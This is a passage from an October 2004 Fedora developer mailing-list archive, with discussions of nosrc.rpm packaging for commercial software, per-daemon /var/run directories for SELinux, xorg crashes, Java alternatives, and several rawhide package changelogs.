Walters 0.1.12-1 - New upstream release - Remove upstreamed thread-init patch - Remove upstreamed async-printers patch - Actually apply DBus patch nfs-utils-1.0.6-37 ------------------ * Fri Oct 01 2004 - Make sure the uid/gid of nfsnobody is the correct value for all archs (bz# 123900) - Fixed some security issues found by SGI (bz# 133556) oprofile-0.8.1-9 ---------------- * Fri Oct 01 2004 Will Cohen - Add support for Power 4/5 performance monitoring hardware. rpm-4.3.2-8 ----------- * Fri Oct 01 2004 Jeff Johnson 4.3.2-8 - disable static linking until libc*.a provides symbols. * Thu Sep 30 2004 Jeff Johnson 4.3.2-7 - ia64: add autorelocate_dcolor to macros.in. * Wed Sep 29 2004 Jeff Johnson 4.3.2-6 - fix: mark uninstalled elf32 files in rpmdb to disable -Va checks. sharutils-4.2.1-22 ------------------ * Fri Oct 01 2004 Than Ngo 4.2.1-22 - fix buffer overflow in shar, (from Ulf Harnhammer) valgrind-2.2.0-2 ---------------- * Fri Oct 01 2004 Jakub Jelinek 2.2.0-2 - handle some more ioctls (Peter Jones, #131967) * Thu Sep 02 2004 Jakub Jelinek 2.2.0-1 - update to 2.2.0 * Thu Jul 22 2004 Jakub Jelinek 2.1.2-3 - fix packaging of documentation From Axel.Thimm at ATrpms.net Fri Oct 1 18:27:15 2004 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Fri, 1 Oct 2004 20:27:15 +0200 Subject: RPM specfiles for commercial packages? In-Reply-To: <20041001181521.GA8682@devserv.devel.redhat.com> References: <20041001200559.A21392@xos037.xos.nl> <20041001181521.GA8682@devserv.devel.redhat.com> Message-ID: <20041001182715.GD7453@neu.nirvana> On Fri, Oct 01, 2004 at 02:15:21PM -0400, Alan Cox wrote: > On Fri, Oct 01, 2004 at 08:05:59PM +0200, Jos Vos wrote: > > On Fri, Oct 01, 2004 at 01:01:20PM -0500, Jason L Tibbitts III wrote: > > > Is anyone else doing this? Is there a place where we can exchange > > > specfiles? > > > > Note that the right way for "exchanging" non-free software packages > > is to exchange nosrc.rpm files, not just spec files. > > That assumes you have the right to redistribute the binary and are not > just doing internal packaging. Windows/XP.nosrc.rpm will get me a rude > letter and a visit from the boys with truncheons I wonder whether these boys will be sent from the commercial company involved, or whether this will be a spontaneous outrage of the Linux hacker community. Possibly both, but the latter would hit you harder ;) -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From rms at 1407.org Fri Oct 1 18:32:40 2004 From: rms at 1407.org (Rui Miguel Seabra) Date: Fri, 01 Oct 2004 19:32:40 +0100 Subject: Default panel orientation [Was: Re: rawhide report: 20041001 changes] In-Reply-To: <1096651926.4257.29.camel@rhbw.boston.redhat.com> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096651926.4257.29.camel@rhbw.boston.redhat.com> Message-ID: <1096655560.3091.49.camel@roque> Suggestions: 1) use Window Selector on top-right corner 2) use a centralized hiding and non-expanding bottom panel with task list 3) use Workspace Switcher on top panel, right aligned to the left of battery status I find 1) and 2) lower the curve for both Windows and MacOS converts central, hiding and non-expanding make the bottom panel not quite MacOS'alike and not quite Windows'alike, but something in the middle that might apease both. I find 3) is a good way to use the empty space that's there already Hugs, Rui -- + No matter how much you do, you never do enough -- unknown + Whatever you do will be insignificant, | but it is very important that you do it -- Gandhi + So let's do it...? Please AVOID sending me WORD, EXCEL or POWERPOINT attachments. See http://www.fsf.org/philosophy/no-word-attachments.html -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From jos at xos.nl Fri Oct 1 18:39:36 2004 From: jos at xos.nl (Jos Vos) Date: Fri, 1 Oct 2004 20:39:36 +0200 Subject: RPM specfiles for commercial packages? In-Reply-To: <20041001181521.GA8682@devserv.devel.redhat.com>; from alan@redhat.com on Fri, Oct 01, 2004 at 02:15:21PM -0400 References: <20041001200559.A21392@xos037.xos.nl> <20041001181521.GA8682@devserv.devel.redhat.com> Message-ID: <20041001203936.A21630@xos037.xos.nl> On Fri, Oct 01, 2004 at 02:15:21PM -0400, Alan Cox wrote: > That assumes you have the right to redistribute the binary and are not > just doing internal packaging. Windows/XP.nosrc.rpm will get me a rude > letter and a visit from the boys with truncheons Uhh... the norsrc.rpm's do not include the binaries-that-may-not-be- redistributed, so what's the problem? -- -- Jos Vos -- X/OS Experts in Open Systems BV | Phone: +31 20 6938364 -- Amsterdam, The Netherlands | Fax: +31 20 6948204 From notting at redhat.com Fri Oct 1 18:45:58 2004 From: notting at redhat.com (Bill Nottingham) Date: Fri, 1 Oct 2004 14:45:58 -0400 Subject: /var/run/directory/ In-Reply-To: <200410020405.28189.russell@coker.com.au> References: <200410020405.28189.russell@coker.com.au> Message-ID: <20041001184558.GB24897@nostromo.devel.redhat.com> Russell Coker (russell at coker.com.au) said: > Currently in the strict policy every daemon is permitted to create files > under /var/run. The problem is that a daemon which runs as root can (if > compromised) create /var/run files with the names used by other daemons if > the daemon is not running at the time. This interferes with stopping and > starting daemons. > > The solution to this is to have a directory under /var/run for each daemon and > give write access to that directory only to the daemon that uses it. For > daemons that run as non-root this also makes things easier for non-SE systems > as there is no need to create a pidfile such as /var/run/sm-client.pid and > chown it, the directory can just have the permissions needed to allow file > creation by the daemon. > > Can anyone think of a reason not to do this? Or should I just start filing > bugzilla entries against all packages that have /var/run/daemon.pid files? Well, it will break parts of the initscripts if it's just done in the daemons. :) Bill From shiva at sewingwitch.com Fri Oct 1 18:20:40 2004 From: shiva at sewingwitch.com (Kenneth Porter) Date: Fri, 01 Oct 2004 11:20:40 -0700 Subject: RPM specfiles for commercial packages? In-Reply-To: References: Message-ID: --On Friday, October 01, 2004 1:01 PM -0500 Jason L Tibbitts III wrote: > So far I've done Matlab R14sp1, Mathematica > 5, the PGI compiler suite and RealPlayer. (OK, RealPlayer was already > an RPM but doing everything in a postinstall script is pretty nasty.) How do others handle patches? I use Lugaru Epsilon (http://www.lugaru.com/) and each patch shows up as a new package that can be applied to any previous version within a major version branch. But I don't think there's much prereq stuff enforced. And a lot of work is done in %post to set up symlinks in /usr/local/bin and install the .info file. From eli.carter at inet.com Fri Oct 1 18:58:38 2004 From: eli.carter at inet.com (Eli Carter) Date: Fri, 01 Oct 2004 13:58:38 -0500 Subject: RPM specfiles for commercial packages? In-Reply-To: <20041001200559.A21392@xos037.xos.nl> References: <20041001200559.A21392@xos037.xos.nl> Message-ID: <415DA8DE.7020208@inet.com> Jos Vos wrote: > On Fri, Oct 01, 2004 at 01:01:20PM -0500, Jason L Tibbitts III wrote: > > >>Is anyone else doing this? Is there a place where we can exchange >>specfiles? > > > Note that the right way for "exchanging" non-free software packages > is to exchange nosrc.rpm files, not just spec files. Is there a HOWTO that describes nosrc.rpm's and how they are made and used? (A quick Googling didn't help much...) Eli --------------------. "If it ain't broke now, Eli Carter \ it will be soon." -- crypto-gram eli.carter(a)inet.com `------------------------------------------------- ------------------------------------------------------------------------ Confidentiality Notice: This e-mail transmission may contain confidential and/or privileged information that is intended only for the individual or entity named in the e-mail address. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution or reliance upon the contents of this e-mail message is strictly prohibited. If you have received this e-mail transmission in error, please reply to the sender, so that proper delivery can be arranged, and please delete the message from your computer. Thank you. Inet Technologies, Inc. ------------------------------------------------------------------------ From feliciano.matias at free.fr Fri Oct 1 19:19:32 2004 From: feliciano.matias at free.fr (Matias Feliciano) Date: Fri, 01 Oct 2004 21:19:32 +0200 Subject: udev and alsa In-Reply-To: <1096639784.28635.9.camel@ulysse.olympe.o2t> References: <1096606376.3257.19.camel@localhost.localdomain> <415D1CDD.2000603@redhat.com> <1096622411.3257.96.camel@localhost.localdomain> <1096633156.28111.1.camel@ulysse.olympe.o2t> <1096639366.3257.245.camel@localhost.localdomain> <1096639784.28635.9.camel@ulysse.olympe.o2t> Message-ID: <1096658367.3257.440.camel@localhost.localdomain> Le ven 01/10/2004 ? 16:09, Nicolas Mailhot a ?crit : > However, the proposed solutions rely on modprobe, so... udev take care about all drivers (module or not). The previous script well be called even the driver is builtin in the kernel. "install" of modprobe is useless/broken with udev. You only have to take care about unloading module. But since you don't want module, you miss module features. Normal. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e. URL: From jos at xos.nl Fri Oct 1 19:20:13 2004 From: jos at xos.nl (Jos Vos) Date: Fri, 1 Oct 2004 21:20:13 +0200 Subject: RPM specfiles for commercial packages? In-Reply-To: <415DA8DE.7020208@inet.com>; from eli.carter@inet.com on Fri, Oct 01, 2004 at 01:58:38PM -0500 References: <20041001200559.A21392@xos037.xos.nl> <415DA8DE.7020208@inet.com> Message-ID: <20041001212013.A21761@xos037.xos.nl> On Fri, Oct 01, 2004 at 01:58:38PM -0500, Eli Carter wrote: > Is there a HOWTO that describes nosrc.rpm's and how they are made and > used? (A quick Googling didn't help much...) It's pretty simple: add one or more lines like NoSource: 0 NoPatch: 5 to exclude one or more source and/or patch files (identified by their number). The last time I looked it was not possible anymore to specify multiple, comma-separated numbers on one line, although this was possible long ago. -- -- Jos Vos -- X/OS Experts in Open Systems BV | Phone: +31 20 6938364 -- Amsterdam, The Netherlands | Fax: +31 20 6948204 From carlos.efr at mail.telepac.pt Fri Oct 1 20:35:55 2004 From: carlos.efr at mail.telepac.pt (Carlos Rodrigues) Date: Fri, 01 Oct 2004 21:35:55 +0100 Subject: xorg crashes In-Reply-To: <415D8460.3050300@hhs.nl> References: <20040930231052.99138.qmail@web60708.mail.yahoo.com> <415C942E.9030609@mail.telepac.pt> <415D8460.3050300@hhs.nl> Message-ID: <415DBFAB.30108@mail.telepac.pt> Hans de Goede wrote: > This probably only happens with 3d screensavers, you don't happen to > habe a i8xx onboard card? It also happens with every OpenGL app that I try, but in this case X just blows the screen away, I can't even see the console (vesafb) and most times the machine freezes hard (when xcreensaver kicks in it just dies and goes back to GDM). And I have a nvidia card using the nvidia drivers (with the "up until now" record of flawless stability, I haven't even seen X crash for any reason for two years on this machine). > Anyways you xorg is ancinet, get the latest from rawhide and try that. Well, I could certainly do that, but I prefer to stick to the Fedora updates stream on this box in the hopes of avoiding some of the instability of the development branch, but I guess I got bitten anyway... Carlos Rodrigues From niki.rahimi at gmail.com Fri Oct 1 20:41:05 2004 From: niki.rahimi at gmail.com (Niki Rahimi) Date: Fri, 1 Oct 2004 15:41:05 -0500 Subject: Bastille In-Reply-To: <20041001130111.GB4093@devserv.devel.redhat.com> References: <20041001125328.GA3907@rednote.net> <20041001130111.GB4093@devserv.devel.redhat.com> Message-ID: Thanks for the feedback everyone. I think having a security solution for Fedora that is both informative and merges well with Fedora would be ideal. Perhaps a compromise on Bastille where the Fedora community would be able to take Bastille and integrate it into the distribution. Many users are unaware of the level of security their OS is at upon first installation so utilizing an application like Bastille would be beneficial to them regarding this. It would give them some idea of where they are at or should be at to have a more secure system. There is a good deal that could be added and that is where I see the Fedora community adding to the project. From alan at redhat.com Fri Oct 1 22:04:54 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 1 Oct 2004 18:04:54 -0400 Subject: RPM specfiles for commercial packages? In-Reply-To: <20041001203936.A21630@xos037.xos.nl> References: <20041001200559.A21392@xos037.xos.nl> <20041001181521.GA8682@devserv.devel.redhat.com> <20041001203936.A21630@xos037.xos.nl> Message-ID: <20041001220454.GA17959@devserv.devel.redhat.com> On Fri, Oct 01, 2004 at 08:39:36PM +0200, Jos Vos wrote: > > That assumes you have the right to redistribute the binary and are not > > just doing internal packaging. Windows/XP.nosrc.rpm will get me a rude > > letter and a visit from the boys with truncheons > > Uhh... the norsrc.rpm's do not include the binaries-that-may-not-be- > redistributed, so what's the problem? My misunderstanding then. I've seen that used to refer to cases where the package contains binaries of proprietary code that you don't get src.rpm for From alan at redhat.com Fri Oct 1 22:10:32 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 1 Oct 2004 18:10:32 -0400 Subject: xorg crashes In-Reply-To: <415DBFAB.30108@mail.telepac.pt> References: <20040930231052.99138.qmail@web60708.mail.yahoo.com> <415C942E.9030609@mail.telepac.pt> <415D8460.3050300@hhs.nl> <415DBFAB.30108@mail.telepac.pt> Message-ID: <20041001221032.GD17959@devserv.devel.redhat.com> On Fri, Oct 01, 2004 at 09:35:55PM +0100, Carlos Rodrigues wrote: > It also happens with every OpenGL app that I try, but in this case X > just blows the screen away, I can't even see the console (vesafb) and > most times the machine freezes hard (when xcreensaver kicks in it just > dies and goes back to GDM). Vesafb and the i8xx drivers are not compatible. Use the i810fb and you might be ok. Generally mixing X framebuffer and console framebuffers is a bad idea although the problem is now actually on the hitlist From razvan.vilt at linux360.ro Fri Oct 1 22:25:56 2004 From: razvan.vilt at linux360.ro (Razvan Corneliu C.R. "d3vi1" VILT) Date: Sat, 02 Oct 2004 01:25:56 +0300 Subject: rawhide report: 20041001 changes In-Reply-To: <1096642952.4157.53.camel@marte.biciclete.ro> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096634293.2693.191.camel@kyrre> <1096639184.18430.10.camel@greebo.homeip.net> <1096642952.4157.53.camel@marte.biciclete.ro> Message-ID: <1096669557.16472.7.camel@d3vi1.linux360.ro> On Fri, 2004-10-01 at 18:02 +0300, Marius Andreiana wrote: > > On Fri, 2004-10-01 at 14:38 +0200, Kyrre Ness Sjobak wrote: > > > RealPlayer too? What's happened? I thougt RP was considered "evil" > > > because of properitary formats? > > > > > > Does this mean that mp3 and rp streams will work out-of-the-box on fc3? > The SRPM > http://download.fedora.redhat.com/pub/fedora/linux/core/development/SRPMS/RealPlayer-10-5.src.rpm > has REAL10Player-GOLD-source :-D > > To slashdot or not to slashdot? In case you were expecting to see the sources of the proprietary codecs in RealPlayer 10, you're out of luck. They have in the sources only the precompiled object files for the compilation for the following platforms: linux-2.2-libc6-gcc32-i586 linux-2.2-libc6-i386 linux-2.2-libc6-powerpc linux-2.4-glibc23-i686 sunos-5.8-i386 sunos-5.8-sparc Next time take a look at the sources first. Cheers... or... Bafta (in romanian), d3vi1 -- R?zvan Corneliu VILT e-mail:razvan.vilt at linux360.ro GPG:http://d3vi1.linux360.ro/public-keys/ www: http://d3vi1.linux360.ro/ -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 3361 bytes Desc: not available URL: From seyman at wanadoo.fr Fri Oct 1 22:42:53 2004 From: seyman at wanadoo.fr (Emmanuel Seyman) Date: Sat, 2 Oct 2004 00:42:53 +0200 Subject: FC2 kernel quality In-Reply-To: <415D45D5.4010900@terminus.co.uk> References: <877jqbaagx.fsf@kosh.ultra.csn.tu-chemnitz.de> <20040930182110.GA15217@devserv.devel.redhat.com> <415D45D5.4010900@terminus.co.uk> Message-ID: <20041001224253.GA6886@orient.maison.moi> On Fri, Oct 01, 2004 at 12:56:05PM +0100, Stuart Children wrote: > > Is there a bug number for this? https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=128154 Emmanuel From fitzsim at redhat.com Fri Oct 1 23:02:21 2004 From: fitzsim at redhat.com (Thomas Fitzsimmons) Date: Fri, 01 Oct 2004 19:02:21 -0400 Subject: Java and Rawhide? In-Reply-To: <415BC9F8.2080706@hhs.nl> References: <1096397978.3811.29.camel@mentorng.gurulabs.com> <20040929095857@3d3eefe324b0b614c23323a941137724> <415A87E7.9040405@redhat.com> <1096476327.10824.48.camel@anu.eridu> <415BC9F8.2080706@hhs.nl> Message-ID: <1096671741.12693.270.camel@tortoise.toronto.redhat.com> On Thu, 2004-09-30 at 04:55, Hans de Goede wrote: > I for one would like to be able too: > -build and run java code, wether this is done native or on a vm is > equal to me. The environment should be able to handle jni > (specificly, it should be able to compile and run rxtx for serial port > access) > -use java applets from a webbrowser more specificly from mozilla. > > Since this currently isn't possible I would like to be able to easily: > a) install SUN's official JDK and > b) gcj and Switching between a and b using alternatives should be easy in FC3 if you install java-1.4.2-gcj-compat (in FC3) and java-1.4.2-sun-compat (from jpackage.org). > c) sablevm and > -easily switch between a,b and c for compiling and running and > -be able to use jdk-plugin in mozilla and sablevm or jdk in konqueror. > > I know a lott is happening and I would like to try things out, report > bugs and maybe even contribute. But how? where is the documentation. I > think we need a java on Fedora webpage like the stateless pages which > gives pointers to download some packages which are so beta that they are > not in rawhide and which contains a quickstart guide. > http://www.jpackage.org/rpm.php?id=2880 and http://download.fedora.redhat.com/pub/fedora/linux/core/development/i386/Fedora/RPMS/java-1.4.2-gcj-compat-1.4.2.0-7jpp.noarch.rpm http://download.fedora.redhat.com/pub/fedora/linux/core/development/i386/Fedora/RPMS/java-1.4.2-gcj-compat-devel-1.4.2.0-7jpp.noarch.rpm I've written a quick-start guide about using alternatives for jpackage'd SDKs: http://people.redhat.com/fitzsim/jpackage-alternatives-quickstart-guide.txt Tom From pri.rhl3 at iadonisi.to Sat Oct 2 00:43:54 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Fri, 01 Oct 2004 20:43:54 -0400 Subject: FC2 kernel quality In-Reply-To: <415C8698.3070604@mail.telepac.pt> References: <1096581368.21981.135.camel@scox.glenatl.glenayre.com> <415C8698.3070604@mail.telepac.pt> Message-ID: <1096677834.22421.8.camel@va.local.linuxlobbyist.org> On Thu, 2004-09-30 at 18:20, Carlos Rodrigues wrote: [snip] > Also that "not supported" thing is crap. Binary modules are a fact of > life and some care ("some" meaning "break it if you have to, but avoid > it if you can") must be taken so that users can use them. Personally, I think that *zero* care should be taken to make sure that users can use binary modules. The kernel developers have spoken, and it is not their concern. With good reason, too, that has been discussed ad-nauseum on this list as well as many others. And this coming from a VMware user who gets an occasional kernel panic when rebooting his system but never reports it because he doesn't get it on any of his non-VMware running systems. It's my choice, it's my problem. But on a more constructive side, never underestimate the power of the Free Software world. If I remember correctly, it used be like pulling teeth to get the SCSI card vendors to open up their specs so that their cards could be supported by Linux. Then Linux started taking off in the server room and it wasn't long before they were falling over each other to offer either specs, or complete (and GPLed) drivers to get their cards supported under Linux. Xircom (now owned by Intel) comes to mind, for one. Give it time...the video card vendors will one day, hopefully soon, be forced to open source their drivers, or give complete specs to implement drivers so that they can be first to be fully supported (included 3D acceleration) under Linux. Er...maybe I shouldn't say 'forced'. Rather, they will *also* be falling over each other to get their cards supported on stock GNU/Linux based operating systems. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From russell at coker.com.au Sat Oct 2 00:46:16 2004 From: russell at coker.com.au (Russell Coker) Date: Sat, 2 Oct 2004 10:46:16 +1000 Subject: /var/run/directory/ In-Reply-To: <20041001184558.GB24897@nostromo.devel.redhat.com> References: <200410020405.28189.russell@coker.com.au> <20041001184558.GB24897@nostromo.devel.redhat.com> Message-ID: <200410021046.16070.russell@coker.com.au> On Sat, 2 Oct 2004 04:45, Bill Nottingham wrote: > > Can anyone think of a reason not to do this? Or should I just start > > filing bugzilla entries against all packages that have > > /var/run/daemon.pid files? > > Well, it will break parts of the initscripts if it's just done > in the daemons. :) Naturally changes to the daemon, the init scripts for the daemon, and to the SE Linux policy need to be synchronised. But apart from that do you have any problem with the idea? -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From walters at redhat.com Sat Oct 2 00:58:34 2004 From: walters at redhat.com (Colin Walters) Date: Fri, 01 Oct 2004 20:58:34 -0400 Subject: rawhide report: 20041001 changes In-Reply-To: <415D6B49.8000700@math.unl.edu> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096634293.2693.191.camel@kyrre> <1096637776.18711.1.camel@dcbw.boston.redhat.com> <1096640819.4157.43.camel@marte.biciclete.ro> <415D6B49.8000700@math.unl.edu> Message-ID: <1096678714.4557.14.camel@nexus.verbum.private> On Fri, 2004-10-01 at 09:35 -0500, Rex Dieter wrote: > Marius Andreiana wrote: > > > I thought difference from Real Player from Helix is the codecs. Real > > will be in RHEL with codecs, but fedora gets Helix. Why have both if one > > is based on another? > > I would venture to guess that Fedora will only have HelixPlayer and RHEL > will only have RealPlayer, RHEL will have HelixPlayer - remember the RHEL core is all still F/OSS software, there's just an optional extra CD with non-F/OSS applications. Much like how Debian has a "non-free" channel. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From kumarabhijit at gmail.com Sat Oct 2 02:40:12 2004 From: kumarabhijit at gmail.com (abhijit kumar) Date: Sat, 2 Oct 2004 08:10:12 +0530 Subject: process scheduling code(fedora) Message-ID: <3c7f53f004100119402b703962@mail.gmail.com> dear developers! i am student pursuing a project on CORE fedora2. i want to change the sceduling algorithms used by the linux kernel and apply other algorithms.as, far as i know they implement round-robn algorithms.for changing in linux kernel code i want to know exactly where the kernel code relating process sceduling resides.(i.e. what is the path of the file containing the code related to the process scheduling and how much they are interrelated to other file.) waiting for reply! Abhijit From notting at redhat.com Sat Oct 2 03:18:53 2004 From: notting at redhat.com (Bill Nottingham) Date: Fri, 1 Oct 2004 23:18:53 -0400 Subject: /var/run/directory/ In-Reply-To: <200410021046.16070.russell@coker.com.au> References: <200410020405.28189.russell@coker.com.au> <20041001184558.GB24897@nostromo.devel.redhat.com> <200410021046.16070.russell@coker.com.au> Message-ID: <20041002031853.GA3869@nostromo.devel.redhat.com> Russell Coker (russell at coker.com.au) said: > > Well, it will break parts of the initscripts if it's just done > > in the daemons. :) > > Naturally changes to the daemon, the init scripts for the daemon, and to the > SE Linux policy need to be synchronised. But apart from that do you have any > problem with the idea? You need to change the generic initscripts as well... they rely on the pid file location. Bill From notting at redhat.com Sat Oct 2 04:32:43 2004 From: notting at redhat.com (Bill Nottingham) Date: Sat, 2 Oct 2004 00:32:43 -0400 Subject: /var/run/directory/ In-Reply-To: <20041002031853.GA3869@nostromo.devel.redhat.com> References: <200410020405.28189.russell@coker.com.au> <20041001184558.GB24897@nostromo.devel.redhat.com> <200410021046.16070.russell@coker.com.au> <20041002031853.GA3869@nostromo.devel.redhat.com> Message-ID: <20041002043243.GA4121@nostromo.devel.redhat.com> Bill Nottingham (notting at redhat.com) said: > Russell Coker (russell at coker.com.au) said: > > > Well, it will break parts of the initscripts if it's just done > > > in the daemons. :) > > > > Naturally changes to the daemon, the init scripts for the daemon, and to the > > SE Linux policy need to be synchronised. But apart from that do you have any > > problem with the idea? > > You need to change the generic initscripts as well... they rely > on the pid file location. Moreover, you break the FHS (and therefore, LSB.) Bill From jerone at gmail.com Sat Oct 2 04:50:03 2004 From: jerone at gmail.com (Jerone Young) Date: Fri, 1 Oct 2004 23:50:03 -0500 Subject: process scheduling code(fedora) In-Reply-To: <3c7f53f004100119402b703962@mail.gmail.com> References: <3c7f53f004100119402b703962@mail.gmail.com> Message-ID: <9f50a7a0041001215024a60c53@mail.gmail.com> http://www.kernelnewbies.org/ On Sat, 2 Oct 2004 08:10:12 +0530, abhijit kumar wrote: > dear developers! > i am student pursuing a project on CORE fedora2. i want to change > the sceduling algorithms used by the linux kernel and apply other > algorithms.as, far as i know they implement round-robn algorithms.for > changing in linux kernel code i want to know exactly where the kernel > code relating process sceduling resides.(i.e. what is the path of the > file containing the code related to the process scheduling and how > much they are interrelated to other file.) > waiting for reply! > > Abhijit > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From notting at redhat.com Sat Oct 2 04:54:17 2004 From: notting at redhat.com (Bill Nottingham) Date: Sat, 2 Oct 2004 00:54:17 -0400 Subject: Fedora Core 3 Bug Status - 2004-10-01 Message-ID: <20041002045417.GA4276@nostromo.devel.redhat.com> Based on bug #123268 ('FC3Target') and bug #130887 ('FC3Blocker') 2004-09-30 Severity Total Closed Need Testing BLOCKER 90 67 ( 74.44 %) 11 ( 16.42 %) TARGET 831 374 ( 45.01 %) 45 ( 12.03 %) Overall 921 441 ( 47.88 %) 56 ( 12.00 %) 2004-09-23 Severity Total Closed Need Testing BLOCKER 74 43 ( 58.11 %) 9 ( 20.93 %) TARGET 703 286 ( 40.68 %) 38 ( 13.29 %) Overall 777 329 ( 42.34 %) 47 ( 14.00 %) 2004-09-08 Severity Total Closed Need Testing BLOCKER 35 14 ( 40.00 %) 3 ( 21.43 %) TARGET 591 194 ( 32.83 %) 33 ( 17.01 %) Overall 626 208 ( 33.23 %) 36 ( 17.00 %) 2004-08-18 Severity Total Closed Need Testing TARGET 415 61 ( 14.70 %) 16 ( 26.23 %) From jos at xos.nl Sat Oct 2 10:12:03 2004 From: jos at xos.nl (Jos Vos) Date: Sat, 2 Oct 2004 12:12:03 +0200 Subject: RPM specfiles for commercial packages? In-Reply-To: <20041001220454.GA17959@devserv.devel.redhat.com>; from alan@redhat.com on Fri, Oct 01, 2004 at 06:04:54PM -0400 References: <20041001200559.A21392@xos037.xos.nl> <20041001181521.GA8682@devserv.devel.redhat.com> <20041001203936.A21630@xos037.xos.nl> <20041001220454.GA17959@devserv.devel.redhat.com> Message-ID: <20041002121203.A24878@xos037.xos.nl> On Fri, Oct 01, 2004 at 06:04:54PM -0400, Alan Cox wrote: > My misunderstanding then. I've seen that used to refer to cases where the > package contains binaries of proprietary code that you don't get src.rpm for Yeah, I was thinking of software were the distributed binary stuff are the actual "Source" files in the rpm that you left out with the "NoSource" tags. -- -- Jos Vos -- X/OS Experts in Open Systems BV | Phone: +31 20 6938364 -- Amsterdam, The Netherlands | Fax: +31 20 6948204 From kyrre at solution-forge.net Sat Oct 2 11:30:17 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 02 Oct 2004 13:30:17 +0200 Subject: rawhide report: 20041001 changes In-Reply-To: <1096678714.4557.14.camel@nexus.verbum.private> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096634293.2693.191.camel@kyrre> <1096637776.18711.1.camel@dcbw.boston.redhat.com> <1096640819.4157.43.camel@marte.biciclete.ro> <415D6B49.8000700@math.unl.edu> <1096678714.4557.14.camel@nexus.verbum.private> Message-ID: <1096716616.2690.0.camel@kyrre> And the fedora non-free / contrib chanel is extras, and non-us is linva? Am i right, or should i really se a shrink? Kyrre l?r, 02.10.2004 kl. 02.58 skrev Colin Walters: > On Fri, 2004-10-01 at 09:35 -0500, Rex Dieter wrote: > > Marius Andreiana wrote: > > > > > I thought difference from Real Player from Helix is the codecs. Real > > > will be in RHEL with codecs, but fedora gets Helix. Why have both if one > > > is based on another? > > > > I would venture to guess that Fedora will only have HelixPlayer and RHEL > > will only have RealPlayer, > > RHEL will have HelixPlayer - remember the RHEL core is all still F/OSS > software, there's just an optional extra CD with non-F/OSS applications. > Much like how Debian has a "non-free" channel. > > > ______________________________________________________________________ > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list From buildsys at redhat.com Sat Oct 2 11:49:49 2004 From: buildsys at redhat.com (Build System) Date: Sat, 2 Oct 2004 07:49:49 -0400 Subject: rawhide report: 20041002 changes Message-ID: <200410021149.i92Bnn802608@porkchop.devel.redhat.com> Updated Packages: anaconda-10.0.3.10-1 -------------------- * Fri Oct 01 2004 Jeremy Katz - 10.0.3.10-1 - add kickstart zfcp configuration (#133288, #130070) - Use NFSv3 for NFS installs. Fixes NFSISO installs from DVD (#122032) - Fix megaraid_mbox module name (#134369) - Another uninitialized fix (#133996) - Add the zh_CN font (#133330) anaconda-help-10.0.4-1 ---------------------- * Fri Oct 01 2004 Jeremy Katz - 10.0.4-1 - newer translations busybox-1.00.rc1-5 ------------------ * Sat Oct 02 2004 Bill Nottingham - 1.00.rc1-5 - fix segfault in SELinux patch (#134404, #134406) cdparanoia-alpha9.8-23 ---------------------- * Fri Oct 01 2004 Peter Jones alpha9.8-23 - "This time, with a meaningful changelog" release. Just like -22. - new SG_IO code in rawhide. This means ripping will no longer use the "cooked ioctl" mode that it has since we moved to 2.6, instead utilizing the real scsi-based command set to talk to most drives. This should result in better error correction handling, and usage of much more commonly used kernel features. - environment variable "CDDA_TRANSPORT" added. If you set this to "cooked", cdparanoia will try to use the "cooked ioctl" mode instead of SCSI/SG_IO based modes first, and then fall back to SG_IO. - It'd be good if this got some testing. A prior version of the SG_IO code was known to fail on some USB drives. This version should mitigate that quite a bit, but I lack the hardware to test it for sure. chkconfig-1.3.11.1-1 -------------------- * Fri Oct 01 2004 Bill Nottingham 1.3.11.1-1 - rebuild with updated translations * Fri Jun 04 2004 Bill Nottingham 1.3.11-1 - fix LSB comment parsing (#85678) * Sat May 29 2004 Bill Nottingham 1.3.10-1 - mark alternatives help output for translation (#110526) desktop-printing-0.15.2-1 ------------------------- * Thu Sep 30 2004 Colin Walters 0.15.2-1 - Update to new upstream 0.15.2: - Does not crash when run as root - Does not crash if you have no printers (workaround HAL bug) evolution-connector-2.0.1-5 --------------------------- * Fri Oct 01 2004 David Malcolm - 2.0.1-5 - added explicit gnutls requirement * Fri Oct 01 2004 David Malcolm - 2.0.1-4 - set libsoup requirement to be 2.2.0-2, to ensure gnutls support has been added * Fri Oct 01 2004 David Malcolm - 2.0.1-3 - added requirement on libsoup firefox-0.10.1-1.0PR1.8 ----------------------- * Fri Oct 01 2004 Christopher Aillon 0:0.10.1-1.0PR1.8 - Update to 0.10.1 - Fix tab switching keybindings (#133504) * Fri Oct 01 2004 Bill Nottingham 0:0.10.0-1.0PR1.7 - filter out library Provides: and internal Requires: gdb-6.1post-1.20040607.35 ------------------------- * Fri Oct 01 2004 